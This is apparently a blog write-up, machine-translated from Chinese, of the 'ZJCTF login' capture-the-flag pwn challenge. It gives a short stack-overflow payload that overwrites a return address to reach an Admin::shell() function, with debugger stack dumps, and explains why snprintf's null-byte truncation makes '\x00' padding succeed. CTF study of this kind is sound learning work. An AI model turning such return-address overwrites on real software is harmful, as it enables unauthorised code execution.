当前位置:网站首页>ZJCTF_ login
ZJCTF_ login
2022-07-27 03:47:00 【Morphy_ Amo】
The problem itself is not difficult , The specific problem-solving process can refer to other Masters write up. Here I mainly record a doubt in my question .
structure payload When , Why ‘a’ Filling will report an error , use ‘\x00’ Filling is no problem ?
The problem is
0x400a39 call [email protected] <[email protected]>
First, let's take a look at a When filling
payload = b'2jctf_pa5sw0rd\0'
payload = payload.ljust(0x48, b'a') + p64(0x400e88)
perform snprintf Function before , The stack structure is as follows ,0x7ffe95152a98 Is the address we want to jump to
00:0000│ rsp 0x7ffe95152a30 —▸ 0x7ffe95152ab0 —▸ 0x7ffe95152c00 —▸ 0x400eb0 (__libc_csu_init) ◂— push r15
01:0008│ 0x7ffe95152a38 —▸ 0x7ffe95152b38 ◂— '2jctf_pa5sw0rd'
02:0010│ 0x7ffe95152a40 —▸ 0x6021b8 (login+88) ◂— '2jctf_pa5sw0rd'
03:0018│ 0x7ffe95152a48 —▸ 0x7ffe95152ad0 —▸ 0x7ffe95152a98 —▸ 0x400e88 (Admin::shell()) ◂— push rbp
04:0020│ rcx rdi r8 0x7ffe95152a50 ◂— '2jctf_pa5sw0rd'
05:0028│ 0x7ffe95152a58 ◂— 0x6100647230777335 /* '5sw0rd' */
06:0030│ 0x7ffe95152a60 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓ 6 skipped
0d:0068│ 0x7ffe95152a98 —▸ 0x400e88 (Admin::shell()) ◂— push rbp
0e:0070│ 0x7ffe95152aa0 ◂— 0x0
0f:0078│ 0x7ffe95152aa8 ◂— 0x8efdc4a1c20f1800
10:0080│ rbp 0x7ffe95152ab0 —▸ 0x7ffe95152c00 —▸ 0x400eb0 (__libc_csu_init) ◂— push r15
11:0088│ 0x7ffe95152ab8 —▸ 0x400bd8 (main+261) ◂— mov eax, 0
After execution , Because to 0x7ffe95152a98 The starting position is passed in 50 Characters , Therefore, the original stack structure is destroyed
09:0048│ 0x7ffe95152a78 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓ 3 skipped
0d:0068│ 0x7ffe95152a98 ◂— 0x61616161616161 /* 'aaaaaaa' */
0e:0070│ 0x7ffe95152aa0 ◂— 0x0
snprintf Function encountered \x00 Will be truncated , So when we use \x00 When filling , cover sprintf The string of position is Password accepted: Password accepted: \n, The length is not enough to cover the return address we constructed , So at this point getshell success .
边栏推荐
- Six determination methods of Worthington peroxidase activity
- Learn the recycling mechanism of recyclerview again
- 【正则】判断, 手机号,身份证号
- 477-82(236、61、47、74、240、93)
- Activiti5.22.0 extension supports domestic databases, taking gbase database as an example
- 网络安全/渗透测试工具AWVS14.9下载/使用教程/安装教程
- 【1206. 设计跳表】
- 复盘:DFS与BFS的主要区别,在思想上的区别,代码实现上的区别
- Explain tool actual operation
- [regular] judgment, mobile number, ID number
猜你喜欢

unity之二维数组实现正六边形地图

【无标题】JDBC连接数据库读超时

MySQL underlying data structure

Explain tool actual operation

Code practice when the queue reaches the maximum length

Deeply understand the underlying data structure and algorithm of MySQL index

A new paradigm of distributed deep learning programming: Global tensor

Introduction to database - a brief introduction to MySQL

Number of 0 at the end of factorial

connman介绍
随机推荐
FastBoot brush machine
Meta Quest内容生态总监谈App Lab设计初衷
Tool class of localdatetime sorted out by yourself
Solution to Chinese garbled code in console header after idea connects to database to query data
【树链剖分】2022杭电多校2 1001 Static Query on Tree
How can you access the domestic server and overseas server quickly with one database?
Activiti5.22.0 extension supports domestic databases, taking gbase database as an example
Six determination methods of Worthington peroxidase activity
百融榕树数据分析拆解方法
【树链剖分】模板题
阶乘末尾0的数量
Minimum ticket price (day 80)
Indexing best practices
Application, addition and deletion of B-tree
[tree chain dissection] template question
How to conduct 360 assessment
Redis源码学习(33),命令执行过程
Redis spike case, learn from Shang Silicon Valley teacher in station B
阿里 Seata 新版本终于解决了 TCC 模式的幂等、悬挂和空回滚问题
Duplicate disc: what are the basic attributes of an image? What do you know about images? What are the parameters of the image